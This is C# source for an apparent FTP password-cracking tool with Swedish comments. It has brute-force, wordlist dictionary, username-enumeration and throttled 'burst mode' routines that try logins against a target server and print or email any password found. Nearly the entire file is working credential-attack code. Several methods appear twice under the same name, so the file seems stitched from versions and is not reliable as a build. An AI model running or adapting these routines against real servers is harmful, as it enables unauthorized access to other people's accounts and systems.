//Bruteforce attacken.
        public static bool AutoMaticBrute(String[] array, int curr = 0)
        {
            curr++;

            foreach (var character in characters)
            {
                var a = new List<String>(array);
                a.Add(character);
                var pass = String.Join("", a);

                Console.WriteLine(pass);
                ftp Ftp = new ftp("ftp://" + IP, port, username, pass);

                if (Ftp.LoginCheck())
                {
                    while (true)
                    {
                        Console.Clear();
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine("Grattis, du är inloggad på Servern din sexige hunk!");
                        Thread.Sleep(700);
                        Console.ResetColor();
                        Console.Clear();
                        Console.ForegroundColor = ConsoleColor.Blue;
                        Console.WriteLine("Grattis, du är inloggad på Servern din sexige hunk!");
                        Console.ResetColor();
                        Thread.Sleep(700);
                        Console.Clear();
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine("Grattis, du är inloggad på Servern din sexige hunk!");
                        Console.ResetColor();
                        Thread.Sleep(700);
                        Console.Clear();
                        Console.ForegroundColor = ConsoleColor.Magenta;
                        Console.WriteLine("Grattis, du är inloggad på Servern din sexige hunk!");
                        Console.ResetColor();
                        Thread.Sleep(700);

                    }

                }
                if (curr < length)
                {
                    if (AutoMaticBrute(a.ToArray(), curr))
                    {
                        return true;
                    }
                }
            }
            return false;
        }
        //Dictionary Attack method
        static bool DictionaryAttack()
        {
            int count = 0;

            try
            {
                //StreamReadern läser in sökvägen till textfilen med lösenorden
                using (StreamReader sr = new StreamReader(@"C:/hej.txt/textfile.txt"))
                {
                    //Läser in hela textfilen, lagrar den i en array och splittar sedan ord för ord.
                    string line = sr.ReadToEnd();
                    string[] words = line.Split();

                    //prövar varje ord som lösenord från arrayen "words"
                    foreach (var word in words)
                    {
                        count++;
                        if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape)
                        {
                            Console.WriteLine("Exiting");
                            break;
                        }
                        ftp Ftp = new ftp("ftp://" + IP, port, username, word);
                        Console.WriteLine(word);
                        if (Ftp.LoginCheck())
                        {
                            Console.WriteLine("Grattis, du är inloggad på Servern din sexige hunk!");
                            return true;
                        }
                        else
                        {
                           // Console.WriteLine("Fel lösenord");
                        }
                        Console.WriteLine(count);
                    }

                }
                //När scanningen är s**t
                Console.ForegroundColor = ConsoleColor.DarkYellow;
                Console.WriteLine("===============================");
                Console.WriteLine("Finished with dictinary attacks");
                Console.WriteLine("===============================");
                Console.ResetColor();

                ContinueOnKeyPressed();
                Main();

            }
            catch (Exception)
            {
                throw;
            }
            return false;
        }
        //Dictionary Attack method
        public static bool AutoMaticDictionaryAttack()
        {
            try
            {
                //StreamReadern läser in sökvägen till textfilen med lösenorden
                using (StreamReader sr = new StreamReader(dictionaryLocation))
                {
                    //Läser in hela textfilen, lagrar den i en array och splittar sedan ord för ord.
                    string line = sr.ReadToEnd();
                    string[] words = line.Split();

                    //prövar varje ord som lösenord från arrayen "words"
                    foreach (var word in words)
                    {

                        if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape)
                        {
                            Console.WriteLine("Exiting");
                            break;
                        }
                        ftp Ftp = new ftp("ftp://" + IP, port, username, word);
                        Console.WriteLine(word);
                        if (Ftp.LoginCheck())
                        {
                            Console.ForegroundColor = ConsoleColor.Yellow;
                            Console.ResetColor();
                            Console.ForegroundColor = ConsoleColor.DarkGreen;
                            Console.WriteLine("Connected to the server");
                            Console.ResetColor();
                            Console.ForegroundColor = ConsoleColor.DarkMagenta;
                            Console.WriteLine("The password was: {0}", word);
                            Console.ForegroundColor = ConsoleColor.Yellow;
                            Console.WriteLine("=======================");
                            Console.ResetColor();
                            Program.ContinueOnKeyPressed();
                            Console.Clear();
                            Program.Main();
                        }
                        else
                        {
                            // Console.WriteLine("Fel lösenord");
                        }
                    }
                }
                //När scanningen är s**t
                Console.ForegroundColor = ConsoleColor.DarkYellow;
                Console.WriteLine("===============================");
                Console.WriteLine("Finished with dictinary attacks");
                Console.WriteLine("===============================");
                Console.ResetColor();

                //Om attacken misslyckades och inget lösenord hittades hamnar vi här nedan
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("No password found..");
                Console.ResetColor();

            }
            catch (Exception)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("========================================================");
                Console.ResetColor();
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Kunde inte hitta sökvägen..");
                Console.WriteLine("Har du glömt att specificera filformatet på textfilen..?");
                Console.ResetColor();
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("========================================================");
                Console.ResetColor();
            }
            return false;
        }
        public static void brute()
        {
            var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
            Combinator<string> Combinator = new Combinator<string>(Pattern);

            while (Combinator.HasFinised == false)
            {
                if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("===========================");
                    Console.WriteLine("Exiting");
                    Console.WriteLine("===========================");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("Brute Force ended..");
                    Console.ResetColor();
                    Console.WriteLine("Press any key to go back to the menu");
                    Console.ReadLine();
                    break;
                }

                Thread.Sleep(50);
                var Combined = Combinator.Next();
                var Joined = string.Join("", Combined);
                Console.WriteLine(Joined);
                ftp Ftp = new ftp("ftp://" + IP, port, username, Joined);

                if (Ftp.LoginCheck())
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.DarkGreen;
                    Console.WriteLine("Connected to the server");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.DarkMagenta;
                    Console.WriteLine("The password was: {0}", Joined);
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("=======================");
                    Console.ResetColor();
                    Program.ContinueOnKeyPressed();
                    Console.Clear();
                    break;
                }
            }
            Program.Main();
        }
        //UsernameBruteForce Attack method
        static bool UsernameBruteForce()
        {
            int count = 0;
            string usernameListLocation;

            Console.Write("Enter location to the username list: ");
            usernameListLocation = Console.ReadLine();

            try
            {
                //StreamReadern läser in sökvägen till textfilen med lösenorden
                using (StreamReader sr = new StreamReader(usernameListLocation))
                {
                    //Läser in hela textfilen, lagrar den i en array och splittar sedan ord för ord.
                    string line = sr.ReadToEnd();
                    string[] usernamesFromList = line.Split();

                    //prövar varje ord som lösenord från arrayen "words"
                    foreach (var usernames in usernamesFromList)
                    {
                        count++;
                        if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape)
                        {
                            Console.WriteLine("Exiting");
                            break;
                        }
                        ftp Ftp = new ftp("ftp://" + IP, port, usernames, userNameBruteForcePassword);

                        Console.WriteLine(usernames);

                        if (Ftp.LoginCheck())
                        {
                            if (SendEmail)
                            {
                                SendingEmail();
                                Console.WriteLine("Email sent..");
                            }
                            if (loggingEnable)
                            {
                                WriteStatistics();
                            }
                            Console.ForegroundColor = ConsoleColor.Yellow;
                            Console.WriteLine("The username was: {0} and the password was: {1}", usernames, userNameBruteForcePassword);
                            Console.ResetColor();
                            ContinueOnKeyPressed();
                            Main();
                        }
                        else
                        {
                            // Console.WriteLine("Fel lösenord");
                        }
                        Console.WriteLine(count);
                    }
                }
                //När scanningen är s**t
                Console.ForegroundColor = ConsoleColor.DarkYellow;
                Console.WriteLine("==================================");
                Console.WriteLine("     Dictionary Attack failed     ");
                Console.WriteLine("==================================");
                Console.ResetColor();
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("No match found between usernames and the default password, tried {0} usernames", count);
                Console.ResetColor();

                ContinueOnKeyPressed();
                Main();
            }
            catch (Exception)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("==============================================");
                Console.ResetColor();
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Could not find list with usernames.. exiting..");
                Console.ResetColor();
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("==============================================");
                Console.ResetColor();
                ContinueOnKeyPressed();
            }
            return false;
        }
        //Dictionary Attack method
        static bool DictionaryAttack()
        {
            string dicLocation;
            Console.WriteLine("Enter location to dictionary: ");
            dicLocation = Console.ReadLine();

            try
            {
                //StreamReadern läser in sökvägen till textfilen med lösenorden
                using (StreamReader sr = new StreamReader(dicLocation))
                {
                    //Läser in hela textfilen, lagrar den i en array och splittar sedan ord för ord.
                    string line = sr.ReadToEnd();
                    string[] words = line.Split();

                    //prövar varje ord som lösenord från arrayen "words"
                    foreach (var word in words)
                    {
                        if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape)
                        {
                            Console.WriteLine("Exiting");
                            break;
                        }
                        ftp Ftp = new ftp("ftp://" + IP, port, username, word);
                        Console.WriteLine(word);
                        if (Ftp.LoginCheck())
                        {
                            if (SendEmail)
                            {
                                SendingEmail();
                                Console.WriteLine("Email sent..");
                            }
                            if (loggingEnable)
                            {
                                WriteStatistics();
                                Console.WriteLine("Logs written..");
                            }
                            Console.WriteLine("Congratulations, you are connected to the server!");
                            ContinueOnKeyPressed();
                            Main();
                            return true;
                        }
                        else
                        {
                            Console.WriteLine("Wrong password");
                        }
                    }
                }

                //När scanningen är s**t
                Console.ForegroundColor = ConsoleColor.DarkYellow;
                Console.WriteLine("===============================");
                Console.WriteLine("Finished with dictinary attacks");
                Console.WriteLine("===============================");
                Console.ResetColor();

                //Om attacken misslyckades och inget lösenord hittades hamnar vi här nedan
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("No password found..");
                Console.ResetColor();

                ContinueOnKeyPressed();
                Main();
            }
            catch (Exception)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("============================================");
                Console.ResetColor();
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Could not find the choosen path..");
                Console.WriteLine("Have you forgot to specify the fileformat..?");
                Console.ResetColor();
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("============================================");
                Console.ResetColor();
                ContinueOnKeyPressed();
            }
            return false;
        }
        //Burstmode attack metoden. Är som en brute force men med möjlighet att lägga
        //in tidsintervaller där Wood Pecker ska vänta innan nästa attack utförst.
        static void BurstMode()
        {
            var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
            int secondsToWait = 0;
            int amountOfAttacksBeforePause = 0;
            bool endOfTHeJourney = true;
            bool endofJourney = true;
            bool exit = true;

            Console.Write("How many secounds would you like to wait between attacks: ");
            while (endofJourney)
            {
                try
                {
                    secondsToWait = int.Parse(Console.ReadLine());
                    endofJourney = false;
                }
                catch (Exception)
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("==============================================");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("Only numbers! Try again!");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("==============================================");
                    Console.ResetColor();
                    Console.Write("How many secound would you like to wait between attacks: ");
                    endofJourney = true;
                }
            }

            Console.Write("How many tries would you like to do before the pause..?");
            while (endOfTHeJourney)
            {
                try
                {
                    amountOfAttacksBeforePause = int.Parse(Console.ReadLine());
                    endOfTHeJourney = false;
                }
                catch (Exception)
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("==============================================");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("Only numbers! Try again!");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("==============================================");
                    Console.ResetColor();
                    Console.Write("How many secound would you like to wait between attacks: ");
                    endOfTHeJourney = true;
                }
            }

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("=====================================================");
            Console.ResetColor();
            Combinator<string> Combinator = new Combinator<string>(Pattern);

            while (exit)
            {
                if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("===========================");
                    Console.WriteLine("Exiting");
                    Console.WriteLine("===========================");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("Brute Force ended..");
                    Console.ResetColor();
                    Console.WriteLine("Press any key to go back to the menu");
                    Console.ReadLine();
                    break;
                }

                for (int i = 0; i < amountOfAttacksBeforePause; i++)
                {
                    var Combined = Combinator.Next();
                    var pass = string.Join("", Combined);

                    Console.WriteLine(pass);
                    ftp Ftp = new ftp("ftp://" + IP, port, username, pass);

                    correctPassword = pass;
                    bFcount++;

                    if (Ftp.LoginCheck())
                    {
                        if (SendEmail)
                        {
                            SendingEmail();
                            Console.WriteLine("Email sent..");
                        }
                        if (loggingEnable)
                        {
                            WriteStatistics();
                        }
                        Console.WriteLine("Congratulations, you are connected to the server");
                        Console.ForegroundColor = ConsoleColor.DarkYellow;
                        Console.WriteLine("================================");
                        Console.WriteLine("=============STATISTIK==========");
                        Console.WriteLine("================================");
                        Console.ResetColor();
                        Console.WriteLine("Attack finished at: {0}", timeAttackFinished);
                        Console.WriteLine("Amount of tries before correct password: {0}", bFcount);
                        Console.WriteLine("Password is: {0}", correctPassword);
                        exit = false;
                        ContinueOnKeyPressed();
                        Console.Clear();

                        break;
                    }
                }
                Thread.Sleep(secondsToWait * 1000);
                Console.WriteLine("");
            }
            //Kontroll för om E-post ska skickas eller ej.
            if (SendEmail)
            {
                SendingEmail();
                Console.WriteLine("Email sent..");

            }
            //Kontroll för om statistik ska skrivas eller ej.
            if (loggingEnable)
            {
                Console.WriteLine("Loggs where written");
                Console.ReadLine();
                Main();
            }
            else
            {
                Main();
            }
        }
        //Method för Brute Force Attacken
        static void brute()
        {
            //Pattern är en lista med bokstäver. Från a - z. Denna används för vilka bokstäver som ska vara med vid ett försök av brute force attacken.
            var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
            Combinator<string> Combinator = new Combinator<string>(Pattern);

            while (Combinator.HasFinised == false)
            {
                if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("===========================");
                    Console.WriteLine("Exiting");
                    Console.WriteLine("===========================");
                    Console.ResetColor();
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("Brute Force ended..");
                    Console.ResetColor();
                    Console.WriteLine("Press any key to go back to the menu");
                    Console.ReadLine();

                    Main();
                }

                var Combined = Combinator.Next();
                var pass = string.Join("", Combined);

                Console.WriteLine(pass);
                ftp Ftp = new ftp("ftp://" + IP, port, username, pass);

                if (Ftp.LoginCheck())
                {
                    if (loggingEnable)
                    {
                        Console.ForegroundColor = ConsoleColor.Yellow;
                        Console.WriteLine("Statistics written to disc..");
                        Console.ResetColor();
                        WriteStatistics();
                    }
                    if (SendEmail)
                    {
                        SendingEmail();
                        Console.WriteLine("Email sent..");
                    }
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("The password was: {0}", pass);
                    Console.ResetColor();

                    ContinueOnKeyPressed();
                    Main();
                }
            }
        }